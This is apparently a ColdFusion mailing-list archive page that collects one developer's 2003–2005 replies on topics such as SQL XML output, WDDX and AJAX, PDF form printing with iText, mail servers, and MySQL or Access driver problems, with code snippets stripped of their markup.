Google Analytics is basically Urchin 5 that has been amped up a bit. Google bought Urchin last year. I have used their early release of it because a client of mine is an AdWords customer. It is pretty neat stuff. I also primarily use SmarterStats but I think that Urchin was a better choice (it was much more expensive that SS!). Google's version is really nice and it does what it is supposed to, but be aware that they include tracking items in your url if you use mod_rewrite or linkfreeze and their adWords system. They recently opened up the Analytics again so you should be getting a peek at it soon. Best Regards, -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Message: http://www.houseoffusion.com/lists.cfm/link=i:4:228997 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: AJAX related: onClick grab all form elements
I would like to second Adam's reference to Prototype, it has some amazing capabilities packaged into a neat little framework. You can use just the parts you need or use the entire prototype library to accomplish the tasks that you want. As Adam noted, the library lacks documentation but you can see some examples of implementation on sites such as http://script.aculo.us/ and http://mir.aculo.us/ The Prototype library does have object that models the form object and provides functions/methods to perform the task you were inquiring about. HTH. Best Regards, -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:227230 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: CFC for Image Manipulation
Massimo, On 12/12/05, Massimo Foti [EMAIL PROTECTED] wrote: Just curious, have you tried version 2.0 of tmt_img or an older version? I know for sure quality was vastly improved starting with 2.0. I haven't tried version 2 and I'm sorry if my post was inaccurate, I was using an older version. I'll give v2 a go and see how it works, I have some users that believe they need to use all 8MP on their camera when taking a photo to resize it to a 600 x 400 final res.!! Thanks for the info. -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:226813 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: CFC for Image Manipulation
I usually don't like to pay for stuff but Alagad was worth the money, I tried all of the free solutions and Alagad simply worked the best for image resizing and thumbnailing. Massimo's tag is also very good but the quality of the resize wasn't all that great when the original images were very (very) large. If you have decent sized images (800 x 600) tmt_img might just do the trick. HTH On 12/10/05, Jennifer Gavin-Wear [EMAIL PROTECTED] wrote: Thanks Will .. looks good but I think it's MX 7 only and I'm on 6.1 .. ? -Original Message- From: Will Tomlinson [mailto:[EMAIL PROTECTED] Sent: 09 December 2005 23:12 To: CF-Talk Subject: Re: CFC for Image Manipulation I remember seeing posting a few weeks ago about a cfc for image manipulation, like sizing and making thumb nails, but I can't find it in my mail archive, does anyone have the info to hand please? Jen, I posted this one a while back. Works very nicely if you just use jpegs. http://www.developeroffice.com/index.cfm?page=download Will ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:226733 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Query to XML
Returning the XML directly via SQL Server is much, MUCH more efficient than processing the file in ColdFusion. SQL Server has a few functions that allows you to customize the XML output. I use the FOR XML EXPLICIT command which allows you to specify the tag names for example: SELECT DISTINCT 1 AS TAG, NULL AS PARENT, A.vendorid AS [vendorrecord!1!vendorid!element], A.datecreated AS [vendorrecord!1!created!element], Str(Month(A.datecreated)) + '/' + Str(Day(A.datecreated)) + '/' + Str(Year(A.datecreated)) AS [vendorrecord!1!datecreated!element] FROM Vendors A FOR XML EXPLICIT This will create the file with each column as an element. A great reference for this can be found in The Gurus Guide to SQL Server Stored Procedures, XML and HTML by Ken Henderson. HTH -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:218708 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: OT: Mail server
We use MailEnable Professional. It does what we need and is getting better all the time. The standard version is free though I would suggest the Professional version which is only a couple of hundred dollars. It has gotten much better recently with its new flitering and SPF options. The only thing I dislike about it is it's webmail interface but hey not everything is gMail! :-) HTH -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Discover CFTicket - The leading ColdFusion Help Desk and Trouble Ticket application http://www.houseoffusion.com/banners/view.cfm?bannerid=48 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:218765 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Returning XML data via a CFC?
Pete, What are you doing with the XML once it is returned via the CFC? Are you returning for the javascript to manipulate it or is the javascript going to write it directly to the page? -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:207585 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Returning XML data via a CFC?
Pete, As Sean noted in his post, the return value is encoded as a WDDX packet. You will need to use the WDDX deserializer object to unencode the string. In your js function that handles the data once the XMLHTTP request has returned you can use an alert to see the raw packet, this way you will know if your CFC is indeed returning the valid information. Here is some code that may be helpful: cfcomponent name=XMLconduit author=Pete Ruckelshaus displayname=XMLconduit hint=This .cfc is used for all XML-returned data for the application. cffunction name=getContactsByOrganization access=public output=Yes returntype=XML cfargument name=param default=0 required=Yes type=numeric cfquery name=getContacts datasource=#request.app.dsname# SELECT C.ID, C.fname, C.lname FROMtblContacts C WHERE C.contactTypeID = (SELECT id FROM tblContactTypes WHERE typename = 'individual') AND C.organizationid = cfqueryparam cfsqltype=cf_sql_integer value=#arguments.param# / ORDER BYC.fname, C.lname /cfquery cfxml variable=xml contactdata cfloop query=getContacts id#getContacts.id#/id firstname#getContacts.fname#/firstname lastname#getContacts.lname#/lastname /cfloop /contactdata /cfxml cfreturn xml / /cffunction /cfcomponent Javascript Code: var isMozilla = ((document.all) ? false : true); function getXmlHttpConn() { var xhttp = null; try { if (! isMozilla) { xhttp = new ActiveXObject(Microsoft.XMLHTTP); } else { xhttp = new XMLHttpRequest(); } } catch (e) { alert(An error has occurred while attempting to get a connection to the server!); } return xhttp; } function getRequest(method, url, async, func) { var xmlHttpConn = getXmlHttpConn(); if (xmlHttpConn != null) { try { xmlHttpConn.open(method, url, async); xmlHttpConn.onreadystatechange = function() { if (xmlHttpConn.readyState == 4) { processRequest(xmlHttpConn.responseText, func); } } xmlHttpConn.send(null); } catch (e) { alert(e.description); } } } function processRequest(rs, func) { alert(rs); if (isMozilla) { des = new WddxDeserializer; } else { des = new WddxDeserializerForIE; } var xmlTextStr = des.deserialize(rs); if (func) { func(xmlTextStr); } } Please let me know if you need some more help with this. HTH Best Regards, -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:207616 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: Alternating Row Colour - Sorta
Try this: !--- Set the CSS array --- cfset myCss = arrayNew(1) / cfset myCSS[1] = eventWhite / cfset myCSS[2] = eventYellow / cfset switch = 1 / !--- Get the data --- cfquery name=calendar SELECT id, event_date, month(event_date) as theMONTH, event_name, event_pic FROM stpaul_events WHERE month(event_date) = #month(now())# and month(event_date) #threemonths# ORDER BY event_date ASC /cfquery OUTPUT BLOCK !--- Default the previous day to the first returned item --- cfparam name=prevDay default=#LSDateFormat(calendar[event_date][1], 'mm/dd/')# / !--- Output the data --- cfoutput query=calendar group=theMONTH h4#LSDateFormat(calendar.event_date,' - ')#/h4 div id=eventBODY cfoutput cfif (LSDateFormat(calendar[event_date][currentRow], 'mm/dd/') neq prevDay) !--- If the current day is not equal to the prevDay --- cfset prevDay = LSDateFormat(calendar[event_date][currentRow], 'mm/dd/') / cfset switch = (2 - switch) + 1 / /cfif div class=#myCSS[switch]# #LSDateFormat(calendar[event_date][currentRow], 'mm/dd/')# - #myCSS[switch]# - Lots of stuff here - /div /cfoutput /div /cfoutput If your event_date is just a date and not a date/time then you can change the cfif to just check if the date is not the same cfif calendar[event_date][currentRow] neq prevDay and default prevDay to the first event_date returned.I used the LSDateFormat function because you want to remember the date not the day since if you have two consecutive events on the same day of the month the two sections would be highlighted the same color (note: dayofweek and dayofyear suffer from the same problem, just trying to cover all bases ;-)) HTH. -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Logware (www.logware.us): a new and convenient web-based time tracking application. Start tracking and documenting hours spent on a project or with a client with Logware today. Try it for free with a 15 day trial account. http://www.houseoffusion.com/banners/view.cfm?bannerid=67 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:200375 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
Re: What do you use for project management?
I would recommend DotProject, it was snap to get going and works for our situation. -- Donnie Bachan Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:194690 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: Print to Index Cards
I think that many of us have run into a similar problem at some point. We came up with a solution, not a pretty solution but a solution nevertheless, by using iText (http://www.lowagie.com/iText/). We were required to print out event invitations to pre-formatted cards from the browser. It was a very difficult task trying to use CSS to do what we wanted since different printers were calibrated differently data on the sheets were always skewed. What we came up with was this: 1. We created a PDF form as described in the first part of the following article (http://www.worlddesign.com/index.cfm/rd/cf/PDFForms.htm). The fields were named the same as the columns of the query concatenated with a row number, so if your query returned columns emp_id, emp_fname, emp_lname the form fields would be named emp_id1, emp_fname1, emp_lname1 etc.. We were printing 8 cards per page (2 columns x 4 rows) 2. The query to populate the cards was retrieved. 3. We calculated the number of pages, then looped over the query and created the pages 'stamped' with the data using a custom implementation of iText. 4. We returned the generated PDF to the browser for printing. We couldn't use auto generated PDF's since the positioning was crucial to us. I would suggest looking at http://cfregex.com/cfcomet/pdf/. If you would like to see some sample code send me an email at [EMAIL PROTECTED] HTH Best Regards, Donnie Bachan Phone: (718) 217-2883 Website: http://www.islandwizards.com Blog: http://angrytrini.blogspot.com Nitendo Vinces - By Striving You Shall Conquer ~| Find out how CFTicket can increase your company's customer support efficiency by 100% http://www.houseoffusion.com/banners/view.cfm?bannerid=49 Message: http://www.houseoffusion.com/lists.cfm/link=i:4:189732 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: Macromedia gives up on the server market in Australia and wal ks away.
I agree with Dave here. As far as I am concerned there is nothing like CF for rapid deployment but CF is not the be all and end all in my development. I like the ability to intermix custom server side Java stuff depending on the situation and that to me is a big plus. However, ASP.NET is chock full of features and one thing that Microsoft does REALLY well is make it easy for their products to communicate and well .NET works REALLY well with SQL Server features. CFC's are great, it gives us the feeling that we are really OO programmers for an instant but a CFC is simply a Java or C++ or C# class if you think about it. Every single Java object you create is a CFC and you can't get much more native than that. I was very upset with Macromedia for releasing CF MX when they did, it was a substandard product! 6.1 has been much better to us on Windows 2003 systems and I suspect that Blackstone will be even better but I can't honestly say that I will turn a blind eye to everything else because CF is easy. I believe in using the best technology for the particular implementation. Someone mentioned that Flash forms will probably not be used much, I disagree with this statement. If Macromedia takes CF in the direction I think they are moving with their big push towards converting the web to RIAs there will be nothing easier than Flash Form stuff in the near future. Just my $0.02 Best Regards, htmlDIVFONT face=Geneva, Arial, Sans-serif size=2Donnie Bachan /FONT/DIVFONT face=Geneva, Arial, Sans-serif size=2Phone: (718) 217-2883 /FONT DIV/DIVFONT face=Geneva, Arial, Sans-serif size=2ICQ#: 28006783 /FONT DIV/DIVFONT face=Geneva, Arial, Sans-serif size=2Nitendo Vinces - By Striving You Shall Conquer /FONT DIV/DIVFONT face=Geneva, Arial, Sans-serif size=2 ~| Special thanks to the CF Community Suite Gold Sponsor - CFHosting.net http://www.cfhosting.net Message: http://www.houseoffusion.com/lists.cfm/link=i:4:184700 Archives: http://www.houseoffusion.com/cf_lists/threads.cfm/4 Subscription: http://www.houseoffusion.com/lists.cfm/link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4 Donations Support: http://www.houseoffusion.com/tiny.cfm/54
RE: Simple Mail Server
http://www.mailenable.com/ The standard version is free. We use the professional version because we need webmail support. I like it alot. There are a few things that need to be improved but they are not show stoppers by any means. It works pretty well and it is very easy to administer. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings] [Donations and Support]
RE: Database keeps killing our MX Servers
What drivers are you using? We have had success with the Microsoft JDBC drivers for SQL Server 2000. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings] [Donations and Support]
Re: Strange CFMX hang
I have seen something like what you described before but found no solution to the problem. We found that this happened after applying hot fixes, namely the Sequelink 3.3 drivers and it occurred on the server running alot of MS Access databases. We tried rolling back the drivers but that did not seem to correct the problem. We eventually upgraded servers and databases, we migrated the databases to MySQL and use the JDBC drivers to access them and installed Windows 2003 with IIS 6. The sites have been running for about two months now crash free (knock on wood). I know this is not a practical solution for everyone but I believe that the ODBC drivers (in our case) was the root of the problem. HTH. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings] [Donations and Support]
RE: Printable forms in HTML
iText does not allow for creation of PostScript files. ActivePDF is probably the best way to go since it has all the functionality you require. If you wanted PS functionality with iText you would have to create your own PSWriter class in Java. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Printable forms in HTML
Will the user be required to print the form after completing the form or will the form be popluated with information from the database? For printing solutions I would go the PDF route. You can use either FDF (http://partners.adobe.com/asn/acrobat/forms.jsp) some useful tutorials on this can be found at http://www.cfcomet.com or you can use iText (http://www.lowagie.com/iText/), a free Java based API for creating and manipulating PDF documents. You can create your form in PDF not HTML and force it to load in the browser and use either FDF or iText (of the FDF options in iText!) to populate the information from the DB. If the user has to enter additional information on the form then they can do so and then print it straight from the browser with no loss in formatting. Printing HTML forms especially in IE can be a pain. The only caveat is that the client must have Adobe Acrobat Reader installed. If you need to use HTML and know that your clients will be using IE (windows) only you can try ScriptX (http://www.meadroid.com/scriptx/index.asp) which allows you to specify certain printing options. There is a free and commercial license, you can obviously do much more using the commercial version but the free option gives you quite a rich set of options. HTH. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Jasper Reports x CF MX - anybody use?
I've started looking into this solution, it seems VERY powerful indeed, I don't have any implementation code yet but it seems like it shouldn't be too much trouble to write a CFX. There is also a GUI based product for visual design of JasperReports called OpenReports Designer http://opensourcesoft.net/index.php?module=pagemasterPAGE_user_op=view_pagePAGE_id=4MMN_position=3:3 Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Printing PDF
Check out http://www.meadroid.com/scriptx/index.asp, this is for IE only however but you can call the printing dialog from script. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Help - Can't run CFMX's Installer - InstallAnywhere error
Are you installing from a CD or a download file? I've seen this when using the downloaded file, I downloaded the file again and that seemed to fix the problem. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: LinkPoint CFX Tag?
Contact me offlist with details of the tags that you need. Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Symbols instead of correct CHRs in CFMX
We moved some sites from a MS SQL Server DB and CF 5.0 install over to a CFMX and MySQL environment and we encountered this problem. After searching far and wide the only solution that helped was adding the following to the connection string setting under Advanced Settings for the datasource: useUnicode=truecharacterEncoding=iso-8859-1 This cleared the problem right up. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Access Coldfusion MX6.1 problems...sites keep dying
It's the one that says Microsoft Access with Unicode, that one worked for me. It's on all of our servers by default upon installing CFMX. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
Re: Access Coldfusion MX6.1 problems...sites keep dying
We are experiencing this problem also. I have tried the hotfixes on Macromedia's site, which do not really apply to MS Access but it couldn't hurt. We have an application that requires a large recordset to be returned (~1 records), CFQUERY caching helps somewhat but the problem exists whenever the cache is cleared. I think that Access just cannot handle the load, the ODBC Server hangs first, then CFMX Server. When I notice the spiking, I restart CFMX Server first, then the ODBC Server and finally the ODBC Client in that order, that prevents me from rebooting the entire server. Nothing I have tried has really helped other than employing my own caching strategy using Application variables, but the dataset is so large that Access chokes. I will be moving the app over to MySQL pretty soon but I was holding out for MySQL 4.1 to be released in full before I do so because we have some queries with subqueries that cannot be rewritten. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
Re: Access Coldfusion MX6.1 problems...sites keep dying
Jochem van Dieten wrote: Have you tried the unicode driver? No I haven't actually, going to try this now. I am willing to try anything at this point! Thanks! Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
Re: Access Coldfusion MX6.1 problems...sites keep dying
This seems to have done the trick for the time being. It is too early to really tell if it has cured all my woes but my preliminary tests have been successful and the system isn't hanging as before with the exact same tests. The speed has improved significantly as well! Thanks Johcem! Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Trying to group dates in dropdown list
I ran across this problem using MySQL and CFMX 6.1 and dates, I have been too lazy to figure out the root of the problem but I used the MySQL date format functions to format the date before returning it to ColdFusion and that solved the problem. If the Month and Year are stored as part of a date/time type use the date format function and return the part that you want. HTH htmlDIVFONT face=Geneva, Arial, Sans-serif size=2Donnie Bachan /FONT/DIVFONT face=Geneva, Arial, Sans-serif size=2Phone: (718) 217-2883 /FONT DIV/DIVFONT face=Geneva, Arial, Sans-serif size=2ICQ#: 28006783 /FONT DIV/DIVFONT face=Geneva, Arial, Sans-serif size=2Nitendo Vinces - By Striving You Shall Conquer /FONT DIV/DIVFONT face=Geneva, Arial, Sans-serif size=2 [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Favorite CF Variable Tricks and Techniques
I actually use a bit of code from FuseBox with a slight change for the same effect as below. I modified the formURL2Variables.cfm file. I convert all URL and Form variables to the request scope and then use that scope in the rest of the application. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: OT - MySQL - MyISAM or InnoDB
I use InnoDB because it supports foreign keys and that is a huge help when you don't have one of the other major DB's available! HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: MySQL Question
Try this: SELECT event_id, title, city, state, zip, event_date FROM Event ev, ref_mma rm WHERE rm.area_id = 7 AND FIND_IN_SET(ev.zip, rm.zips) 0 AND active_ind = 1 AND private_ind = 0 The FIND_IN_SET function returns the index of the item (ev.zip) if it is found in the set of comma delimited values (rm.zips). It returns 0 if it is not found. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: OT: MySQL and NULL values (was Re: Debugging CFQUERYPARAM)
In addition: It really screws up dates where it enters a date equivalent to now()-now() if you don't specify a date in a field designated as NOT NULL. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: Advise about how to upload multiple files
You may want to have a look at http://www.digital-crew.com/index.cfm/action/viewnavcat/navcatId/32 This product basically does the same as having multiple file input fields but does it using a single textarea type field! HTH [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
Re: SQL Help
What DB are you using? MySQL has STR_TO_DATE(str,format) which returns a date time value. [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
Re: Database conversion tool??
This is probably overkill but I've used DBDesigner from FabForce.net to re-engineer the database and then spit out the DDL in MySQL syntax. You may just want to upsize if using Access but this can come in handy when going from SQL Server to MySQL. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: OT - Some Catch Up on CF Migration?
Stacy Young wrote: Honestly, you'd be crazy not to use 6.1...the speed and scalability factors alone justify the upgrade! There are some minor idiosyncrasies, as with any software...but overall I'm very happy with 6.1 I second that. I was not at all happy with 6.0 and held off the upgrade until now. There are still some issues with respect to COM but I am sure it will be rectified soon (we hope!). I would highly recommend the upgrade. Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
Re: simple join not working
Try this: SELECT classes.*, classDates.* FROM (classes INNER JOIN classDates ON (classes.classID = ""> WHERE classDates.classDate = #createodbcdatetime(EventDay)# Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: simple join not working
Remember that the type of join used depends on how your data is organized. If you have values in one table that do not have corresponding data in the second table you will probably have to use a LEFT JOIN with Classes being the table on the left of the join operation, this will return all classes irrespective of whether there are null values in the table on the right of the join operation. This may be your problem if you are not getting an error (CF error that is) HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer [Todays Threads] [This Message] [Subscription] [Fast Unsubscribe] [User Settings]
RE: MS SQL Server vs. MySQL
If you are looking for a low budget solution and want to stick with a name that has a lot of clout in this arena try Adaptive Server Studio from iAnywhere Solutions (a Sybase company), in my impression it is really a lite version of ASE from Sybase. It has alot of easy to use tools and supports all of what you are looking for (Triggers, SP's, Views etc). Check it out http://www.ianywhere.com Best Regards, Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. _ Get MSN 8 and enjoy automatic e-mail virus protection. http://join.msn.com/?page=features/virus ~| Archives: http://www.houseoffusion.com/lists.cfm?link=t:4 Subscription: http://www.houseoffusion.com/lists.cfm?link=s:4 Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4 Get the mailserver that powers this list at http://www.coolfusion.com
RE: BLOBs and CF
